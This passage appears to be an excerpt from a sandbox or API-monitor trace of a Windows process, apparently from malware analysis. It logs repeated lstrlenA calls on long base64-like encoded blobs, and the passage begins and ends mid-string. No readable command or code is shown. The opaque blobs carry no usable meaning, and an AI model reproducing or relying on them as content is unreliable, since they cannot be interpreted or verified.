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") returned 5820
	[0084.628] lstrlenA (lpString="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") returned 5820
	[0084.628] lstrlenA (lpString="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